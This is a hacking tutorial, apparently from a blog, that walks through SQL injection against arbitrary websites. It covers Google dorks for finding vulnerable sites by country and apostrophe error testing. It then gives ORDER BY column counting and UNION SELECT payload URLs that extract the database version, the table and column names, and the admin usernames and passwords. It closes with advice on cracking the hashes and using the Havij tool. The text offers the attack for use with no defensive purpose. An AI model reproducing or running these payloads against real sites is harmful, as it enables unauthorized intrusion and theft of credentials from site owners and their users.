0


If you are new to the world of hacking websites, then SQL injection is possibly the easiest to learn and most common of the substantial website vulnerabilities that can be exploited.
  • What is SQL injection ?
SQL Injection is one the common Web application vulnerability that allows an attacker to inject malicious SQL command through Parameter or any Input box that is connected to Website Database. In SQL Injection an attacker finds  (SQLi) vulnerability and Inject Malicious code through various techniques and Hack the website Database this is called SQL Injection attack Exploiting DB (Database) and also SQL Injection Vulnerability Exploitation.
Hacking a vulnerable website with SQL injection allows you to obtain usernames and passwords, possibly even access the admin account, and from there you could do whatever you wanted to the website.
NOTE: This tutorial contains only basic of SQL injection, if you are already familiar with this, then this tutorial will probably not help you.




Step 1: Find a vulnerable website. One way you can do this is by using what is called a Google dorks simply Google search a specific string or term to yield the desired results

 Here is Dork List  .

 

Note : If you Wanna Hack website of Specific Country , For that Add Country domain code at the end of Dork ! e.g
        inurl:index.php?id= site:.in
        inurl:index.php?id= site:.il 
        inurl:index.php?id= site:.fr 
Cool Nah ;)

Step 2: How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example

hxxp://www.targetwebsite.com/index.php?catid=1

Add a ‘ (apos) at the end of the URL. Such that the URL looks like

hxxp://www.targetwebsite.com/index.php?catid=1′

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you’ll get after appending the apostrophe are:

Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Step 3:  Once You have Find vulnerable Website  , Now you need to find total numbers of Columns 
Use ORDER BY Statement .
 Add - Between = and 1 !
hxxp://www.targetwebsite.com/index.php?catid=-1 ORDER BY 1--
hxxp://www.targetwebsite.com/index.php?catid=-1 ORDER BY 2--
hxxp://www.targetwebsite.com/index.php?catid=-1 ORDER BY 3--
 At the end of your URL, remove your quote mark, and add the following: ORDER BY 100--
If you get an error, this is good. If you do not get an error, you should try to find a different site, there are ways to get around this, but they will not be covered in this tutorial.

The idea is to find the highest possible number you can order by without getting an error or missing content. This is the number of tables that the site contains.

If you get an Error on Order by 9 that means the DB have 8 number of Columns and If u had found error on Order by 6 then the DB have 5 number of Columns. I mean if you put Order by 12 and Suppose the DB have only 11 no. of Columns then Website will show Error like this.: An error occurred  Unknown column '12' in 'order clause'.
      hxxp://www.targetwebsite.com/index.php?catid=-1 ORDER BY 8--

 This trick is actually used to find the number of Columns in DB. Understand the Below example and you wil get to know.
www.targetwebsite.com/index.php?catid=-1 Order by 1--  (No Error)
www.targetwebsite.com/index.php?catid=-1 Order by 2--  (No Error)
www.targetwebsite.com/index.php?catid=-1 Order by 3--  (No Error)
www.targetwebsite.com/index.php?catid=-1 Order by 4--  (No Error)
www.targetwebsite.com/index.php?catid=-1 Order by 5--  (No Error)
www.targetwebsite.com/index.php?catid=-1 Order by 9--    (Error)
.........................Try Until you get an Error..........................
Here in my Vlun website showed error at 9-- thats mean total numbers of column = 8

Step 4: Now we have total numbers of column , now we find Vulnerable Column
For Eg. If the Number of Column is 8 then the query is as follow :-

       
www.targetwebsite.com/index.php?
catid=-1Union Select 1,2,3,4,5,6,7,8--


And Suppose above Method won't work then use below method:-

     
www.targetwebsite.com/index.php?
catid=-1 and 1=2 Union Select 1,2,3,4,5,6,7,8--


And if  above Method won't work then use below method:-

    
www.targetwebsite.com/index.php?catid=-1 Union All Select 1,2,3,4,5,6,7,8--


Vulnerable column is " 5 " ;)


Step 5: Now Finding Database Version and Name
For this Replace Vlun column number with @@version

       
www.targetwebsite.com/index.php?
catid=-1 Union All Select 1,2,3,4,@@version,6,7,8--


If above Method won't work then use below method


www.targetwebsite.com/index.php?
catid=-1 Union All Select 1,2,3,4,unhex(hex(@@version)),6,7,8--


Now Finding User :
 
www.targetwebsite.com/index.php?
catid=-1 Union All Select 1,2,3,4,user(),6,7,8--

Now Finding Database name :
  
www.targetwebsite.com/index.php?
catid=-1 Union All Select 1,2,3,4,database(),6,7,8--

Note : Save database name some where we ll use at end !

 Step 6: Finding Table name
Let us find now Table name of the Database, Same here Replace Vulnerable Column number with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()" at the End !
  
www.targetwebsite.com/index.php?
catid=-1 Union All Select 1,2,3,4,group_concat(table_name),6,7,8 from information_schema.tables where table_schema=database()--




we have found admin table :) now we have to extract data from it for that


NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end , Right click and view Source of the page !


Step 7: Finding the column names Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s), tblUser(s) and so on but it varies between sites. After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"):


www.targetwebsite.com/index.php?catid=-1 Union All Select 1,2,3,4,group_concat(column_name),6,7,8 FROM information_schema.columns WHERE table_name=Admin--



If you get an error at this point all you must do is follow these steps:

1. Copy the name of the table that you are trying to access.
2. Paste the name of the table into this website where it says "Say Hello To My Little Friend".
Hex/Char Converter
Spoiler (Click to View)
http://www.swingnote.com/tools/texttohex.php
3. Click convert.
4. Copy the string of numbers/letters under Hex into your query so it looks like this:


www.targetwebsite.com/index.php?catid=-1 Union All Select 1,2,3,4,group_concat(column_name),6,7,8 FROM information_schema.columns WHERE table_name=0x41646d696e--



We are Almost Done Now Lets see whats inside Column!!!

Step 8: Here in my case i m using  ADMINIUSERNAME , ADMINPASSWORD ;)  we also use Database name which we find earlier.
In my case DATABASE = DBxyz
www.targetwebsite.com/index.php?catid=-1 Union All Select 1,2,3,4,group_concat(adminusername,0x3a,adminpassword),6,7,8 FROM dbxyz.Admin--

Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page .+ Crack the encrypted password with hash calculator !
. If you do use a program Reiluke has coded one for that as well. Search Admin Finder by Reiluke.
As well as you can use Havij For Sql injection , Havij is best Software for sql injection with feature like admin finder and hash calculates etc !! Good Luck ;)

Post a Comment

 
Top